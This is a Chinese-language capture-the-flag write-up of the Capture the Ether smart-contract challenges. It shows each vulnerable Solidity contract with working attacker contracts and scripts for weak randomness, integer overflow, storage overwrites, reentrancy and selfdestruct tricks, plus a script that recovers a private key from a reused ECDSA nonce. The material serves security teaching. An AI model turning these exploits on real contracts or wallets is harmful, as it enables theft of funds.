靶场地址
Warmup Deploy a contract 连接 MetaMask 即可
Call me 要求调用callme函数
在remix的deploy处将我们挑战的页面里给出的合约地址填上,部署后调用即可
Choose a nickname 设置自己的昵称
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 pragma solidity ^0.4.21; // Relevant part of the CaptureTheEther contract. contract CaptureTheEther { mapping (address => bytes32) public nicknameOf; function setNickname(bytes32 nickname) public { nicknameOf[msg.sender] = nickname; } } // Challenge contract. You don't need to do anything with this; it just verifies // that you set a nickname for yourself. contract NicknameChallenge { CaptureTheEther cte = CaptureTheEther(msg.sender); address player; // Your address gets passed in as a constructor parameter. function NicknameChallenge(address _player) public { player = _player; } // Check that the first character is not null. function isComplete() public view returns (bool) { return cte.nicknameOf(player)[0] != 0; } }
同样的在remix里操作即可
注意要将昵称转化为十六进制,并且 return cte.nicknameOf(player)[0] != 0;
Lotteries Guess the number 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pragma solidity ^0.4.21; contract GuessTheNumberChallenge { uint8 answer = 42; function GuessTheNumberChallenge() public payable { require(msg.value == 1 ether); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function guess(uint8 n) public payable { require(msg.value == 1 ether); if (n == answer) { msg.sender.transfer(2 ether); } } }
已知 answer = 42
注意调用guess函数并传参42的同时发送1 ether
Guess the secret number 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pragma solidity ^0.4.21; contract GuessTheSecretNumberChallenge { bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365; function GuessTheSecretNumberChallenge() public payable { require(msg.value == 1 ether); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function guess(uint8 n) public payable { require(msg.value == 1 ether); if (keccak256(n) == answerHash) { msg.sender.transfer(2 ether); } } }
可以计算答案
1 2 3 4 5 6 7 8 9 10 11 12 13 14 pragma solidity ^0.4.18; contract guess { bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365; uint8 public answer = 0; function guessanswer() returns (uint8) { for(uint8 i = 0;i <= 256;i ++){ if(keccak256(i) == answerHash){ answer = i; return answer; } } } }
Guess the random number 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 pragma solidity ^0.4.21; contract GuessTheRandomNumberChallenge { uint8 answer; function GuessTheRandomNumberChallenge() public payable { require(msg.value == 1 ether); answer = uint8(keccak256(block.blockhash(block.number - 1), now)); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function guess(uint8 n) public payable { require(msg.value == 1 ether); if (n == answer) { msg.sender.transfer(2 ether); } } }
可以去交易详情 查看
即77
Guess the new number 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 pragma solidity ^0.4.21; contract GuessTheNewNumberChallenge { function GuessTheNewNumberChallenge() public payable { require(msg.value == 1 ether); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function guess(uint8 n) public payable { require(msg.value == 1 ether); uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)); if (n == answer) { msg.sender.transfer(2 ether); } } }
写一个 constructor()
,部署时打入1ETH
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 contract attacker { constructor() public payable { } function attack() public payable { uint8 result = uint8(keccak256(block.blockhash(block.number - 1), now)); GuessTheNewNumberChallenge target = GuessTheNewNumberChallenge(0x311e6C0Ae5476ad374c0e7A9B4582ac1eB42b213); target.guess.value(1 ether)(result); } function() public payable { } function destroy() public payable { selfdestruct(msg.sender); } }
Predict the future 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 pragma solidity ^0.4.21; contract PredictTheFutureChallenge { address guesser; uint8 guess; uint256 settlementBlockNumber; function PredictTheFutureChallenge() public payable { require(msg.value == 1 ether); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function lockInGuess(uint8 n) public payable { require(guesser == 0); require(msg.value == 1 ether); guesser = msg.sender; guess = n; settlementBlockNumber = block.number + 1; } function settle() public { require(msg.sender == guesser); require(block.number > settlementBlockNumber); uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10; guesser = 0; if (guess == answer) { msg.sender.transfer(2 ether); } } }
让answer来就我们,按照规则一次一次地尝试生成answer,当此块的信息得到的answer与我们猜的guess相同时我们再调用settle函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 contract attacker { PredictTheFutureChallenge target; uint8 result; constructor() public payable { target = PredictTheFutureChallenge(0xf6C4f214fDF6B367255281c0cF65653B0820F1F9); } function attack() payable{ target.lockInGuess.value(1 ether)(3); } function exploit() { result = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10; if(result == 3){ target.settle(); } } function see() view returns (uint8) { return result; } function destroy() payable { selfdestruct(msg.sender); } }
Predict the block hash 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 pragma solidity ^0.4.21; contract PredictTheBlockHashChallenge { address guesser; bytes32 guess; uint256 settlementBlockNumber; function PredictTheBlockHashChallenge() public payable { require(msg.value == 1 ether); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function lockInGuess(bytes32 hash) public payable { require(guesser == 0); require(msg.value == 1 ether); guesser = msg.sender; guess = hash; settlementBlockNumber = block.number + 1; } function settle() public { require(msg.sender == guesser); require(block.number > settlementBlockNumber); bytes32 answer = block.blockhash(settlementBlockNumber); guesser = 0; if (guess == answer) { msg.sender.transfer(2 ether); } } }
我们看到该函数仅适用于最近的 256 个块。如果您尝试调用发生在 300 块前的函数,它会返回零。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 contract attacker { PredictTheBlockHashChallenge target = PredictTheBlockHashChallenge(0xB562947997118272df148A0c5d8Ca1d6aEb4948F); uint256 settlementBlockNumber; constructor() payable { } function attack() payable { settlementBlockNumber = block.number + 1; target.lockInGuess.value(1 ether)(0x0000000000000000000000000000000000000000000000000000000000000000); } function exploit() { require(block.number-settlementBlockNumber>=256); target.settle(); } function destroy() payable { selfdestruct(msg.sender); } }
Math Token sale 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 pragma solidity ^0.4.21; contract TokenSaleChallenge { mapping(address => uint256) public balanceOf; uint256 constant PRICE_PER_TOKEN = 1 ether; function TokenSaleChallenge(address _player) public payable { require(msg.value == 1 ether); } function isComplete() public view returns (bool) { return address(this).balance < 1 ether; } function buy(uint256 numTokens) public payable { require(msg.value == numTokens * PRICE_PER_TOKEN); balanceOf[msg.sender] += numTokens; } function sell(uint256 numTokens) public { require(balanceOf[msg.sender] >= numTokens); balanceOf[msg.sender] -= numTokens; msg.sender.transfer(numTokens * PRICE_PER_TOKEN); } }
require(msg.value == numTokens * PRICE_PER_TOKEN);
存在整数乘法上溢
1 2 3 4 5 1 ether = 10 ^18 wei// 最大的uint256 = = 115792089237316195423570985008687907853269984665640564039457584007913129639936 numTokens = 2 **256 / 10 **18 + 1 = 115792089237316195423570985008687907853269984665640564039458 // value = numTokens*10 **18 -2 **256 = 415992086870360064
value为 0.415992086870360064 ether,要求 msg.value == numTokens * PRICE_PER_TOKEN 可以被满足。
然后我们可以 sell()
1 ether,合约余额现在为 0.41ether
Token whale Find a way to accumulate at least 1,000,000 tokens to solve this challenge.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 pragma solidity ^0.4.21; contract TokenWhaleChallenge { address player; uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; string public name = "Simple ERC20 Token"; string public symbol = "SET"; uint8 public decimals = 18; function TokenWhaleChallenge(address _player) public { player = _player; totalSupply = 1000; balanceOf[player] = 1000; } function isComplete() public view returns (bool) { return balanceOf[player] >= 1000000; } event Transfer(address indexed from, address indexed to, uint256 value); function _transfer(address to, uint256 value) internal { balanceOf[msg.sender] -= value; balanceOf[to] += value; emit Transfer(msg.sender, to, value); } function transfer(address to, uint256 value) public { require(balanceOf[msg.sender] >= value); require(balanceOf[to] + value >= balanceOf[to]); _transfer(to, value); } event Approval(address indexed owner, address indexed spender, uint256 value); function approve(address spender, uint256 value) public { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); } function transferFrom(address from, address to, uint256 value) public { require(balanceOf[from] >= value); require(balanceOf[to] + value >= balanceOf[to]); require(allowance[from][msg.sender] >= value); allowance[from][msg.sender] -= value; _transfer(to, value); } }
_transfer函数存在溢出
account1 transfer(account2,1000)
account2 approve(account1,1000)
account1 transferFrom(account2,account3,1000)
由于此时account1的代币余额为0,所以最后调用 _transfer
时会发生下溢
Retirement fund 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 pragma solidity ^0.4.21; contract RetirementFundChallenge { uint256 startBalance; address owner = msg.sender; address beneficiary; uint256 expiration = now + 10 years; function RetirementFundChallenge(address player) public payable { require(msg.value == 1 ether); beneficiary = player; startBalance = msg.value; } function isComplete() public view returns (bool) { return address(this).balance == 0; } function withdraw() public { require(msg.sender == owner); if (now < expiration) { // early withdrawal incurs a 10% penalty msg.sender.transfer(address(this).balance * 9 / 10); } else { msg.sender.transfer(address(this).balance); } } function collectPenalty() public { require(msg.sender == beneficiary); uint256 withdrawn = startBalance - address(this).balance; // an early withdrawal occurred require(withdrawn > 0); // penalty is what's left msg.sender.transfer(address(this).balance); } }
使用selfdestruct函数,使 collectPenalty()
中的 require(withdrawn > 0);
被满足
1 2 3 4 5 6 7 8 9 10 pragma solidity ^0.4.18; contract attacker { constructor() payable { } function attack() payable { selfdestruct(0xde595FF7D9DED625Db68A569BbA0b708e69d025a); } }
Mapping 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 pragma solidity ^0.4.21; contract MappingChallenge { bool public isComplete; uint256[] map; function set(uint256 key, uint256 value) public { // Expand dynamic array as needed if (map.length <= key) { map.length = key + 1; } map[key] = value; } function get(uint256 key) public view returns (uint256) { return map[key]; } }
类似Ethernaut 中的Alien Codex
数组长度越界,计算相对位置覆盖isComplete
Donation 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 pragma solidity ^0.4.21; contract DonationChallenge { struct Donation { uint256 timestamp; uint256 etherAmount; } Donation[] public donations; address public owner; function DonationChallenge() public payable { require(msg.value == 1 ether); owner = msg.sender; } function isComplete() public view returns (bool) { return address(this).balance == 0; } function donate(uint256 etherAmount) public payable { // amount is in ether, but msg.value is in wei uint256 scale = 10**18 * 1 ether; require(msg.value == etherAmount / scale); Donation donation; donation.timestamp = now; donation.etherAmount = etherAmount; donations.push(donation); } function withdraw() public { require(msg.sender == owner); msg.sender.transfer(address(this).balance); } }
Solidity中存储方式错误使用所导致的变量覆盖
使传入的etherAmount,其值等于我们的Account地址
并满足msg.value == etherAmount / scal
1 2 uint (0 x9DC97146b924263A2c8C7237FbeEAFb6ef60b624) / (10 **18 *10 **18 )
然后调用withdraw
Fifty years 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 pragma solidity ^0.4.21; contract FiftyYearsChallenge { struct Contribution { uint256 amount; uint256 unlockTimestamp; } Contribution[] queue; uint256 head; address owner; function FiftyYearsChallenge(address player) public payable { require(msg.value == 1 ether); owner = player; queue.push(Contribution(msg.value, now + 50 years)); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function upsert(uint256 index, uint256 timestamp) public payable { require(msg.sender == owner); if (index >= head && index < queue.length) { // Update existing contribution amount without updating timestamp. Contribution storage contribution = queue[index]; contribution.amount += msg.value; } else { // Append a new contribution. Require that each contribution unlock // at least 1 day after the previous one. require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days); contribution.amount = msg.value; contribution.unlockTimestamp = timestamp; queue.push(contribution); } } function withdraw(uint256 index) public { require(msg.sender == owner); require(now >= queue[index].unlockTimestamp); // Withdraw this and any earlier contributions. uint256 total = 0; for (uint256 i = head; i <= index; i++) { total += queue[i].amount; // Reclaim storage. delete queue[i]; } // Move the head of the queue forward so we don't have to loop over // already-withdrawn contributions. head = index + 1; msg.sender.transfer(total); } }
msg.value会覆盖queue的长度,timestamp会覆盖head
queue.push操作,因为其在最后执行增添对象的任务,添加以后它会将queue.length进行+1操作,用queue长度再覆盖contribution.amount一次
首先,我们创建一个新的队列条目,调用upsert
准备绕过timestamp
检查。我们选择timestamp
这样的值,它会queue[queue.length - 1].unlockTimestamp + 1 days
以等于零的方式溢出。
1 2 2 **256 -86400 115792089237316195423570985008687907853269984665640564039457584007913129553536
调用Upset(1,115792089237316195423570985008687907853269984665640564039457584007913129553536)并发送1 wei
调用Upset(1,0)并发送1 wei
调用withdraw(1)
Accounts Fuzzy identity 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 pragma solidity ^0.4.21; interface IName { function name() external view returns (bytes32); } contract FuzzyIdentityChallenge { bool public isComplete; function authenticate() public { require(isSmarx(msg.sender)); require(isBadCode(msg.sender)); isComplete = true; } function isSmarx(address addr) internal view returns (bool) { return IName(addr).name() == bytes32("smarx"); } function isBadCode(address _addr) internal pure returns (bool) { bytes20 addr = bytes20(_addr); bytes20 id = hex"000000000000000000000000000000000badc0de"; bytes20 mask = hex"000000000000000000000000000000000fffffff"; for (uint256 i = 0; i < 34; i++) { if (addr & mask == id) { return true; } mask <<= 4; id <<= 4; } return false; } }
要求:
合约的name为smarx
合约地址里包含 badc0de
以太坊源码中生成合约地址的算法
1 2 3 4 5 6 7 func CreateAddress (b common.Address, nonce uint64 ) common .Address { data, _ := rlp.EncodeToBytes([]interface {}{b, nonce}) return common.BytesToAddress(Keccak256(data)[12 :]) }
使用ethjs-account 来生成地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 const rlp = require ('rlp' );const js = require ('_js-sha3@0.8.0@js-sha3' );const generate = require ('ethjs-account' ).generate; seed='892h@fs8sk^2hSFR*/8s8shfs.jk39hsoi@hohskd51D1Q8E1%^;DZ1-=.@WWRXNI()VF6/*Z%$C51D1QV*<>FE8RG!FI;"./+-*!DQ39hsoi@hoFE1F5^7E%&*QS' function fuzz ( ) { for (var k=0 ;k<50000 ;k++){ seed=seed+Math .random().toString(36 ).substring(12 ); for (var i=0 ;i<1000 ;i++){ res=generate(seed); for (var j=0 ;j<10 ;j++){ encodedRlp = rlp.encode([res.address, j]); buf = js.keccak256(encodedRlp); contractAddress =buf.slice(24 ).toString('hex' ); if (contractAddress.slice(33 ).match("badc0de" )){ console .log(contractAddress); console .log(res); console .log(j); return ; } } } } } fuzz();
结果
1 2 3 4 5 6 7 8 76 e9f28df246ee1b3f7d3bb2c4c81e6f0badc0de { privateKey: '0x2f1c57a072bd38affcdeaf2c574b9e9c8c120b7391 eb54a48a110345 cbd1ae88', publicKey: '0xb111b1d6f154e4a8785 9bb2ad60bf05fd26abb7e77c6f26c492480 3ee9673 a3e55147652 d2f2662 d5a6591 df503f2711 7c182ce1b20d8afaaf2b4d4ed6a0737 9', address: '0x4ABE0ad41C9A8128 9dCa9F257fd448264 e18AB1B' }8
nonce为8时部署攻击合约
1 2 3 4 5 6 7 8 9 10 contract attack { FuzzyIdentityChallenge fuzz; function pwn(){ fuzz=FuzzyIdentityChallenge(address of your challenge); fuzz.authenticate(); } function name() external view returns(bytes32){ return bytes32("smarx"); } }
Public Key 1 2 3 4 5 6 7 8 9 10 11 12 pragma solidity ^0.4.21; contract PublicKeyChallenge { address owner = 0x92b28647ae1f3264661f72fb2eb9625a89d88a31; bool public isComplete; function authenticate(bytes publicKey) public { require(address(keccak256(publicKey)) == owner); isComplete = true; } }
由地址得到公钥
椭圆曲线密码学和以太坊中的椭圆曲线数字签名算法应用
由 w3.eth.getTransaction("0xabc467bedd1d17462fcc7942d0af7874d6f8bdefee2b299c9168a216d3ff0edb")
可以得到
1 AttributeDict ({'blockHash': HexBytes('0 x487183 cd9 eed0970 dab843 c9 ebd577 e6 af3 e1 eb7 c9809 d240 c8735 eab7 cb43 de'), 'blockNumber': 3015083 , 'from': '0 x92 b28647 Ae1 F3264661 f72 fb2 eB9625 A89 D88 A31 ', 'gas': 90000 , 'gasPrice': 1000000000 , 'hash': HexBytes('0 xabc467 bedd1 d17462 fcc7942 d0 af7874 d6 f8 bdefee2 b299 c9168 a216 d3 ff0 edb'), 'input': '0 x5468616 e6 b732 c206 d616 e21 ', 'nonce': 0 , 'r': HexBytes('0 xa5522718 c0 f95 dde27 f0827 f55 de836342 ceda594 d20458523 dd71 a539 d52 ad7 '), 's': HexBytes('0 x5710 e64311 d481764 b5 ae8 ca691 b05 d14054782 c7 d489 f3511 a7 abf2 f5078962 '), 'to': '0 x6 B477781 b0 e68031109 f21887 e6 B5 afEAaEB002 b', 'transactionIndex': 7 , 'type': '0 x0 ', 'v': 41 , 'value': 0 })
使用ethereumjs-tx 库创建一个交易从而利用里面封装的getSenderAddress得到公钥
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 const EthereumTx = require('ethereumjs-tx').Transaction; const js = require('_js-sha3@0.8.0@js-sha3'); var rawTx = { nonce: '0x00', gasPrice: '0x3b9aca00', gasLimit: '0x15f90', to: '0x6B477781b0e68031109f21887e6B5afEAaEB002b', value: '0x00', data: '0x5468616e6b732c206d616e21', v: '0x29', r: '0xa5522718c0f95dde27f0827f55de836342ceda594d20458523dd71a539d52ad7', s: '0x5710e64311d481764b5ae8ca691b05d14054782c7d489f3511a7abf2f5078962' }; var tx = new EthereumTx(rawTx, { chain: 'ropsten', hardfork: 'petersburg' }); pubkey=tx.getSenderPublicKey(); pubkeys=pubkey.toString('hex'); var address = js.keccak256(pubkey).toString('hex').slice(24); console.log(pubkeys); console.log(address);
Account Takeover 1 2 3 4 5 6 7 8 9 10 11 12 pragma solidity ^0.4.21; contract AccountTakeoverChallenge { address owner = 0x6B477781b0e68031109f21887e6B5afEAaEB002b; bool public isComplete; function authenticate() public { require(msg.sender == owner); isComplete = true; } }
给出了地址求私钥
参考1
参考2
有两笔同 from 地址且同 to 地址的交易,且 r 值相同
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 const EthereumTx = require ('ethereumjs-tx' ).Transaction;var rawTx1 = { nonce : 0 , gasPrice : '0x3b9aca00' , gasLimit : '0x5208' , to : '0x92b28647ae1f3264661f72fb2eb9625a89d88a31' , value : '0x1111d67bb1bb0000' , data : '0x' , v : 41 , r : '0x69a726edfb4b802cbf267d5fd1dabcea39d3d7b4bf62b9eeaeba387606167166' , s : '0x7724cedeb923f374bef4e05c97426a918123cc4fec7b07903839f12517e1b3c8' }var rawTx2 = { nonce : 1 , gasPrice : '0x3b9aca00' , gasLimit : '0x5208' , to : '0x92b28647ae1f3264661f72fb2eb9625a89d88a31' , value : '0x1922e95bca330e00' , data : '0x' , v : 41 , r : '0x69a726edfb4b802cbf267d5fd1dabcea39d3d7b4bf62b9eeaeba387606167166' , s : '0x2bbd9c2a6285c2b43e728b17bda36a81653dd5f4612a2e0aefdb48043c5108de' } tx1 = new EthereumTx(rawTx1,{ chain : 'ropsten' , hardfork : 'petersburg' }); tx2 = new EthereumTx(rawTx2,{ chain : 'ropsten' , hardfork : 'petersburg' }); z1=tx1.hash(false ).toString("hex" ); z2=tx2.hash(false ).toString("hex" );console .log(z1);console .log(z2);
1 2 3 4 5 6 7 8 9 s1 -s2 = k ^ -1 (z1 + dA * r)-k ^ -1 (z2 + dA * r) = k^-1 (z1 -z2 ) k = (z1 -z2 )/(s1 -s2 ) 所以私钥 d = (s*k-z)/r = (s*k-z) * inverse_mod(r, p) % p k = (z1 -z2 )/(s1 -s2 ) = (z1 – z2 )*inverse_mod(s1 – s2 ,p)%p
其中取模反的运算来自于python-ecdsa
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 def inverse_mod ( a, m ): """Inverse of a mod m.""" if a < 0 or m <= a: a = a % m c, d = a, m uc, vc, ud, vd = 1 , 0 , 0 , 1 while c != 0 : q, c, d = divmod ( d, c ) + ( c, ) uc, vc, ud, vd = ud - q*uc, vd - q*vc, uc, vc assert d == 1 if ud > 0 : return ud else : return ud + mdef derivate_privkey (p, r, s1, s2, z1, z2 ): z = z1 - z2 s = s1 - s2 r_inv = inverse_mod(r, p) s_inv = inverse_mod(s, p) k = (z * s_inv) % p d = (r_inv * (s1 * k - z1)) % p return d, k z1 = 0x4f6a8370a435a27724bbc163419042d71b6dcbeb61c060cc6816cda93f57860c s1 = 0x2bbd9c2a6285c2b43e728b17bda36a81653dd5f4612a2e0aefdb48043c5108de r = 0x69a726edfb4b802cbf267d5fd1dabcea39d3d7b4bf62b9eeaeba387606167166 z2 = 0x350f3ee8007d817fbd7349c477507f923c4682b3e69bd1df5fbb93b39beb1e04 s2 = 0x7724cedeb923f374bef4e05c97426a918123cc4fec7b07903839f12517e1b3c8 p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 print ("privatekey:%x\n k:%x" % derivate_privkey(p,r,s1,s2,z1,z2))
Miscellaneous Assume ownership 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pragma solidity ^0.4.21; contract AssumeOwnershipChallenge { address owner; bool public isComplete; function AssumeOwmershipChallenge() public { owner = msg.sender; } function authenticate() public { require(msg.sender == owner); isComplete = true; } }
构造函数拼写错误
Token bank 1 2 3 4 5 6 7 8 9 10 11 12 function transfer(address to, uint256 value, bytes data) public returns (bool) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; balanceOf[to] += value; emit Transfer(msg.sender, to, value); if (isContract(to)) { ITokenReceiver(to).tokenFallback(msg.sender, value, data); } return true; }
这里判断了to地址是否是个合约地址,如果是合约的话就用ITokenReceiver接口来调用to合约的tokenFallback函数,在银行合约里这个函数用更改目标的balance,合约存在重入漏洞。
1 2 3 4 5 6 7 8 function withdraw(uint256 amount) public { require(balanceOf[msg.sender] >= amount); require(token.transfer(msg.sender, amount)); // balance decreased after recipient is notified // re-entrancy issue balanceOf[msg.sender] -= amount; }
调用该token.transfer
函数后余额会更新,允许我们每次重复提取我们的存入资金。重入控制流程将是challenge.withdraw => token.transfer => msg.sender.tokenFallback() => ...
。
在调用攻击合约前,先将player账户withdraw出来,再给攻击合约授权
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 contract attacker { TokenBankChallenge public challenge; constructor(address challengeAddress) { challenge = TokenBankChallenge(challengeAddress); } function deposit() payable { challenge.token().transferFrom(address(0x9DC97146b924263A2c8C7237FbeEAFb6ef60b624),address(this),500000000000000000000000); challenge.token().transfer(address(challenge),challenge.token().balanceOf(address(this))); } function attack() payable { callWithdraw(); require(challenge.isComplete(), "challenge not completed"); } function tokenFallback(address from, uint256 value, bytes data) external { callWithdraw(); } function callWithdraw() payable { uint256 myInitialBalance = 500000000000000000000000; uint256 challengeTotalRemainingBalance = challenge.token().balanceOf(address(challenge)); bool keepRecursing = challengeTotalRemainingBalance > 0; if (keepRecursing) { uint256 toWithdraw = myInitialBalance < challengeTotalRemainingBalance ? myInitialBalance : challengeTotalRemainingBalance; challenge.withdraw(toWithdraw); } } }